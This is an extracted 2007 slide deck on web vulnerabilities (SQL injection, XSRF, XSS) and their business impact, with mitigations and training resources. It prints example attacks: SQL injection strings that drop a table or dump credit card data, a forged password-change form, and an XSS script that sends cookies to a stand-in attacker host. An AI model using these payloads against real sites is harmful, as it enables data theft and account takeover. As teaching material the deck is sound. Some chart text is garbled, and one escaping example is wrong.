Docstoc

Emerging Security Vulnerabilities and the Impact to Business

Document Sample
Emerging Security Vulnerabilities and the Impact to Business Powered By Docstoc
					“Emerging Security Vulnerabilities
               &
    the Impact to Business”

                Neil Daswani
                October 2007

          http://www.neildaswani.com/
Is the sky falling?
• TJX (March 2007)
   – owns TJ Maxx, Marshalls, and other dept stores
   – attacks exploited WEP used at branches
   – over 47 million credit card (CC) #s dating back to 2002
• CardSystems (June 2005)
   – credit card payment processing company: out of business
   – 263,000 CC #s stolen from database via SQL Injection
   – 43 million CC #s stored unencrypted / compromised

• Enter “sql injection” on news.google.com for more...
• Additional Data Theft:
  www.privacyrights.org/ar/ChronDataBreaches.htm
  (153M compromised records; over 300 incidents in 2006 alone)
Overview

• High-Impact Threats & Defenses:
  SQL Injection and XSRF

• Vulnerability Trends

• Where To Learn More:
  Courses/Certifications, Books,
  Websites
SQL Injection Example


               Enter
             Username
                 &               SELECT passwd
    Web      Password             FROM USERS
                         Web     WHERE uname
  Browser                                        DB
                        Server     IS ‘smith’
  (Client)



                            Normal Query
SQL Injection Example




              Attacker Provides This Input
SQL Injection Example

                     Malicious Query
                Enter
              Username             SELECT passwd
                  &                 FROM USERS
     Web      Password             WHERE uname
                          Web
   Browser                        IS ‘’; DROP TABLE   DB
                         Server       USERS; -- '
   (Client)




                                          Eliminates all user
                                               accounts
SQL Injection Example
            View pizza order history:<br>
            <form method="post" action="...">
            Month
            <select>
            <option name="month" value="1">
            Jan
            </option>
            ...
            <option name="month" value="12">
            Dec
            </option>
            </select>
            <p>
            <input type=submit name=submit
                               value=View>
            </form>
   SQL Injection Example
      Normal       SELECT pizza, toppings, quantity,
       SQL                order_day
      Query        FROM orders
                   WHERE userid=4123
                   AND order_month=10
   Type 2       For order_month parameter, attacker could
   Attack       input    0 OR 1=1                      WHERE condition
<option name="month" value=“0 OR 1=1">Dec</option>      is always true!
                                                     Gives attacker access
     Malicious       …
                                                        to other users’
                                                          private data!
      Query          WHERE userid=4123
                     AND order_month=0 OR 1=1
SQL Injection Example

                  All User Data
                  Compromised
SQL Injection Example
 A more damaging breach of user
  privacy:
 For order_month parameter, attacker could input
 0 AND 1=0
 UNION SELECT cardholder, number,
              exp_month, exp_year
       FROM creditcards

 Attacker is able to
   – Combine the results of two queries
   – Empty table from first query with the sensitive credit card
     info of all users from second query
SQL Injection Example


               Credit Card Info
                Compromised
                                    Q je tio re d
                                   S L In c n T n s
                      0
                     30

                      7
                     25

                      5
                     20

                      2
                     25

                      0
                     20
Number of reports




                      7
                     15

                     10
                      5                                                                Q je tio
                                                                                      S LIn c n

                      2
                     15

                      0
                     10

                      75

                      50

                      25

                        0
                     s a 04
                    1 t-h lf 2 0    s a 05
                                   1 t-h lf 2 0          s a 06
                                                        1 t-h lf 2 0    s a 07
                                                                       1 t-h lf 2 0
                                                   er
                                                  Ya

                                                    Source: securityfocus vulnerability database
Preventing SQL Injection

 • Whitelisting
   – Why? Blacklisting chars doesn‟t work:
      • Forget to filter out some characters
      • Could prevent valid input (e.g. username O‟Brien)
   – Allow well-defined set of safe values:
     [A-Za-z0-9]*
     [0-1][0-9]
   – Valid input set implicitly defined through regular
     expressions
 • Escaping
   – For valid string inputs like username o‟connor,
     use escape characters. Ex: escape(o‟connor) = o‟‟connor
     (only works for string inputs)
Prepared Statements
& Bind Variables
PreparedStatement ps =
     db.prepareStatement(
     "SELECT pizza, toppings, quantity, order_day “ +
     "FROM orders WHERE userid=? AND order_month=?");

ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParamenter("month")));
ResultSet res = ps.executeQuery();
                                             Bind Variables:
                                            Data Placeholders


   • query parsed w/o parameters
   • bind variables are typed e.g. int, string, etc…*
Additional Mitigations

 What else helps?
 • Limit Privileges (Defense-in-Depth)
 • Harden DB Server and Host OS

 What doesn‟t?
 • Encrypt Sensitive Data stored in Database

 What else do I need to learn about SQL
   Injection?
 • Second Order SQL Injection
 • Blind SQL Injection
 Threats
• Unvalidated Input
  – SQL Injection
  – Cross-Site-Scripting (XSS)
• Design Errors
  – Cross-Site-Request-Forgery (XSRF)
• Boundary Conditions
• Exception Handling
• Access Validation
XSRF

Alice is using our (“good”) web-
 application:
www.bank.com

(assume user is logged in w/ cookie)

At the same time (i.e. same browser
 session), she‟s also visiting a
 “malicious” web-application:
 www.evil.org
How XSRF Works
  Alice                          bank.com

              /login.html


      /auth
      uname=victim&pass=fmd9032
      Cookie: sessionid=40a4c04de


      /viewbalance
      Cookie: sessionid=40a4c04de
          “Your balance is $X”
How XSRF Works
  Alice                         bank.com               evil.org
              /login.html


      /auth
      uname=victim&pass=fmd9032
      Cookie: sessionid=40a4c04de

               /evil.html
      <IMG SRC=“http://bank.com/paybill?addr=123%20evil%20st&amt=$10000”>

      /paybill
      addr=123 evil st, amt=$10000
      Cookie: sessionid=40a4c04de
          “OK. Payment Sent!”
More XSRF
Malicious site can initiate HTTP requests to our
 app on Alice‟s behalf, w/o her knowledge
  – authentication cookies stored in browser
     cache are sent to our server regardless of
     who made the request

Another Example:
 change password feature on our app
 (“update_password”)
  – Hacker site could execute a script to send a
    fake password-change request
  – authenticates b/c cookies are sent
 More XSRF
                1. Alice‟s browser loads page from www.evil.org

                 2. Evil Script runs causing evilform to be submitted with a
                 password-change request to our “good” form:
                 www.bank.com/update_password with a
                 <input type="password" id="password"> field
  evilform
<form method="POST" name="evilform“ target="hiddenframe"
  action="https://www.bank.com/update_password">
  <input type="hidden" id="password" value="evilhax0r">
</form>
<!– hiddenframe IFRAME here -->
<script>document.evilform.submit();</script>


3. Browser sends authentication cookies to our app. We‟re hoodwinked into
thinking the request is from Alice. Her password is changed to evilhax0r!
XSRF: Write-only
Malicious site can‟t read info, but can make write
 requests to our app!

Can still cause damage
  – in Alice‟s case, attacker gained control of her
    account with full read/write access!

Who should worry about XSRF?
  – apps w/ user info, profiles (e.g., Facebook)
  – apps that do financial transactions for users
  – any app that stores user data
  Yet Another XSRF:
  Home Routers [SRJ’07]
•Fact:
– 50% of home users use a broadband router with a
  default or no password

•Drive-by Pharming attack:   User visits malicious site
– JavaScript at site scans home network looking for broadband
  router:
   • Same-Origin-Policy allows “send only” messages
   • Detect success using onerror:
   •       <IMG SRC=192.168.0.1 onerror = do() >
– Once found, login to router and change DNS server
•Problem: “send-only” access is sufficient to reprogram
router
Preventing XSRF
Inspecting Referer Headers
   – specifies the document originating the request
   – ok, but not practical since it could be forged or
     blanked (even by legitimate users)

Validation via User-Provided Secret
  – ask for current password for important
     transactions

Validation via Action Token
  – add special tokens to “genuine” forms to
     distinguish them from “forged” forms
Vulernability Trends
(Overall/MITRE)
 1300
                              XSS
 1200
 1100
                              Buffer Overflow
 1000
                              SQL Injection
  900                         PHP Include
  800                         DoS
  700
  600
  500
  400
  300
  200
  100
    0
    2001               2006
Overall Trends

• Attacks are increasing
• Big four are about the same
  (regardless of vuln database):
  – Cross-Site-Scripting (XSS, XSRF, XSSI)
  – Injection (SQL, PHP-includes)
  – Memory Corruption (buffer overflows,
    integer overflows, format strings, etc)
  – Denial-of-Service
What should I do?

•   Engineers
•   Developers
•   Programmers
•   Architects

    1) Arm yourself!
    2) Elect a security czar for each project
What Every Engineer
Needs To Know...
    • Secure Design: least privilege, fail-safe
      stance, weakest link, etc.
●   Technical Flaws:              ●   Attacks:
     –   XSS / XSRF / XSSI            –   Data Theft
     –   Injection / Remote           –   Authentication /
         Code Execution                   Authorization Bypass
     –   Directory Traversal          –   Denial-of-Service
     –   Race Conditions (e.g.,       –   Privilege Escalation
         TOCTOU)
                                      –   Information Leakage
     –   Memory Corruption
Where to learn more?

•   Courses
•   Certification Programs
•   Books
•   Websites

    (not comprehensive)
Security Courses
• Cryptography Upper Division Courses
  (at almost every major university)
• Some systems security courses
  (e.g., CS155 @ Stanford,
         CS161 @ UC Berkeley)


• More crypto and security courses listed at:
  http://avirubin.com/courses.html
Stanford Advanced
Security Certificate
• Online (anytime) or On-Campus (one week)
• Required: 3 core courses; 3 electives
• Hands-on labs conducting attacks &
  constructing defenses
• Security Foundations Certificate also
  available
• http://proed.stanford.edu/?advancedsecurity
  to sign up!
Stanford Advanced
Security Certificate
• CORE COURSES
  – Using Cryptography Correctly
  – Writing Secure Code
  – Security Protocols
• ELECTIVES
  – Computer Security Management – Recent Threats, Trends & the
    Law
  – Designing/Building Secure Networks
  – Emerging Threats and Defenses
  – Securing Web Applications
  – Systems Security
• SPECIAL ELECTIVE
  – Computer Security Foundations Certificate
Other Security
Certification Programs

• CISSP (offered by ISC2)
   – prepares for administration / gov't jobs in security
   – credential can be used for PCI compliance
   – multiple-choice test

• GIAC Secure Software Programmer
  (offered by SANS)
   – secure programming assessment
   – multiple choice (questions in development)
   – new offering: first exam was Aug 2007
Books

• Foundations of Security:
  What Every Programmer
  Needs To Know
  (Daswani / Kern / Kesavan)

• Security Engineering (Anderson)
• Building Secure Software
  (Viega / McGraw)
• Secure Programming Cookbook
  (Viega / Messier)
Security Books
• Security Engineering
• Ross Anderson


• Available online
  (for free)




• http://www.cl.cam.ac.uk/~rja14/book.html
Security Books

• Building Secure Software
• Viega / McGraw

 “Classic Text”

• Other books by
  McGraw & Co:
  - Exploiting Software
  - Software Security
Security Books
• Foundations of Security:
  What Every Programmer
  Needs To Know
• Daswani / Kern / Kesavan
• Get your copy from
  B46-Anare or B46-284
• Topics:
   – Secure design principles
   – Web application
     attacks & defenses
   – Intro. to Cryptography
• Free slides @ www.learnsecurity.com
Security Books

• Secure Programming Cookbook
  for C and C++
• Viega / Messier




• Lots of code examples
  on how to use crypto
  correctly
Websites

• OWASP / Top Ten
  www.owasp.org
  (chapters in almost every major city)

• Security Focus / Bugtraq
  www.securityfocus.com

• code.google.com/edu
      OWASP Top 10
                   2004                               2007
●   A1 Unvalidated Input                  • A1 Cross Site Scripting (XSS)
●   A2 Broken Access Control              • A2 Injection Flaws (e.g., SQL
                                            injection)
●   A3 Broken Authentication / Session Mg
                                          • A3 Malicious File Execution (i.e.,
●   A4 Cross Site Scripting                 PHP)
●   A5 Buffer Overflow                    • A4 Insecure Direct Object Reference
●   A6 Injection Flaws                    • A5 Cross Site Request Forgery
                                            (CSRF)
●   A7 Improper Error Handling            • A6 Information Leakage and Improper
                                            Error Handling
●   A8 Insecure Storage
                                          • A7 Broken Authentication / Session
●   A9 Application Denial of Service        Mg
●   A10 Insecure Configuration Management • A8 Insecure Cryptographic Storage
                                          • A9 Insecure Communications
                                          • A10 Failure to Restrict URL Access
Security Focus
• www.securityfocus.com / Home of Bugtraq
• Articles / Mailing Lists / Vuln. Reports
• Focus areas:
   – Foundations
   – Microsoft / Unix
   – IDS
   – Incident Response
   – Viruses / Malware
   – Penetration Testing
   – Firewalls
code.google.com/edu:
Web Security




• Free & available for external use
• Ex. DoS against web server
What should I do?

• Managers
  (Project, Product, Directors, CIOs,
  CTOs, etc)


     1) Organize to achieve security
  2) Modify dev lifecycle as necessary
       3) Invest in security training
Organizing...

                               Gatekeepers
Authority




                  Satellites
                               Advisors




            Centralization
Gatekeepers

• Centralized Security Department with Approval Authority
• Security Dept accountable for every line of deployed code,
  and must provide explicit approval for every deployment.
• Pros:
   – High level of accountability
   – Tight control
• Cons:
   –   Scalability
   –   Could stifle innovation
   –   Bottleneck
   –   Development might become tight-lipped
       (or work-around security)
Advisors

• Security Consulting Department with Escalation
  Authority
• Security Department provides feedback to product
  teams when requested, or can actively “probe”
• Pros
   – More openness to share risks
• Cons
   – Less accountability
   – Frequent escalation will de-sensitize executives
Satellites
• Decentralized Security Staff / “Virtual” Department
• Put developers with security expertise on the
  product teams. Rotate if necessary.
• Or, train one of the developers on each product
  team to be “security czar.”
• Pros
   – Security recommendations more likely to be
     implemented
• Cons
   – Less flexibility in moving security engineers to
     most high risk projects fast.
What should I do?
• Every engineer should be a software
  security practitioner
• Every manager should organize and invest
  in security
• Links / Pointers:
           http://www.learnsecurity.com/
               Click on “Resources”
• Neil Daswani
  daswani@learnsecurity.com
  http://www.neildaswani.com
Last Remarks

• Interested in jobs?
  (software security, botnets, ...)
• Items in the back:
  – Free books
  – Stanford Security Certification Brochures
  – Need security help / consulting?
Backup Slides Follow
Cross-Site Scripting (XSS)

What if attacker can get a malicious script to be executed in
 our application?


  http://deliver-me-pizza.com/submit_order?
  addr=123mainst

  <input type=text name=addr value=123mainst>

Ex: our app could have a query parameter in the URL and
  print it out on page
   – Suppose input data is not filtered
   – Attacker could inject a malicious script!

  Other Sources of Untrusted Data
   – HTML form fields
   – URL path (e.g. in a Document Not Found error)
XSS Example

1. Attacker tricks Alice into visiting his page.
2. Page loads URL of query to our app with this parameter injected:
  http://deliver-me-pizza.com/submit_order?addr=
  %3D%20%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C
  /script%3E%0A
         translates      printed on our HTML source
         <script>alert(document.cookie);</script>




3. Any arbitrary script attacker chooses, can be executed on our
application site!
                   How much damage can
                 the malicious script cause?
XSS Exploits
Stealing Cookies
   – the malicious script could cause the browser to
     send attacker all cookies for our app‟s domain.

     Ex:
     "><script>i=new Image();
     i.src='http://www.hacker.com/sendmail.php?
     to=attacker@hacker.com&payload='+document.cookie;
     </script>

   – gives attacker full access to Alice‟s session

Scripting the Vulnerable App
  – complex script with specific goal
  – e.g. get personal user info, transfer funds, etc…
  – doesn‟t have to make a direct attack, revealing
     his IP address, harder to trace
Mitigating XSS
Input Validation
   – XSS is not just a input validation problem
   – strings with HTML metachars not a problem until they‟re
     displayed on the webpage
   – might be valid elsewhere, e.g. in a database

Output Sanitization
   – check strings as they‟re inserted into HTML doc

HTML Escaping
   – escape some chars with their literals
   – e.g. & = &amp; < = &lt; > = &rt; “ = &quot;

HTTP-Only Cookies
   – HTTPOnly attribute on cookie in IE prevents it from being
     exposed to client-side scripts
   – can prevent traditional session hijacking
   – incomplete protection
Cross-Domain Security

Domain: where our applications and services are hosted

Same-Origin-Policy (SOP): script is only allowed to
  connect back to the origin (domain,port,protocol) from
  which it was served

Cross-domain: security threats due to interactions
  between our applications and pages on other domains
Vulnerability Trends
(OS Vendors/MITRE)
      2
     20

      0
     20

      8
     10

     10
      6
                       Buffer Overflow
                       Symbolic Link
      4
     10
                       DoS
      2
     10
                       XSS
      0
     10
                       Integer Overflow
      80

      60

      40

      20

      0

     2001              2006
Vulnerabilities Stats
                        ●   Boundary Conditions
• Disclaimer on
  Categorization            1st-half 2007
                        ●   Exception Handling
• Input Validation
1st-half 2007
1st-half 2006
                1304
                1294        1st-half 2007    206
                            1st-half 2006    110

                        ●   Access Validation

• Design Errors
1st-half 2007
1st-half 2006
                 295
                 213
                            1st-half 2007
                            1st-half 2006
                                              87
                                              97




                       source: securityfocus vulnerability database
                                                                             st-h lf 0 6
                                                                            1 a 20
                               e n u e b            re d
                              R ce t V ln ra ility T n s                     st-h lf 0 7
                                                                            1 a 20

                     0
                    50

                     5
                    40

                     0
                    40

                     5
                    30

                     0
                    30
Number of Reports




                     5
                    20

                     0
                    20

                     5
                    10

                     0
                    10

                    50

                     0
                          Q je n
                         S L In ctio    ro
                                       C ss-Site      e ia f
                                                     Dn lo               u r v r-
                                                                       B ffe O e
                                        crip g
                                       S tin          e ice
                                                     S rv                 w
                                                                       flo s
                                         V    rability securityfocus vulnerability database
                                          ulne source:T ype
Prepared Statements &
Bind Variables
 Metacharacters (e.g. „) in queries provide distinction
  between data & control

 Most attacks: data interpreted as control /
      alters the semantics of a query/cmd

 Bind Variables: ? placeholders guaranteed to be data (not
   control)

 Prepared Statements allow creation of static queries with
   bind variables → preserves the structure of intended
   query

				
DOCUMENT INFO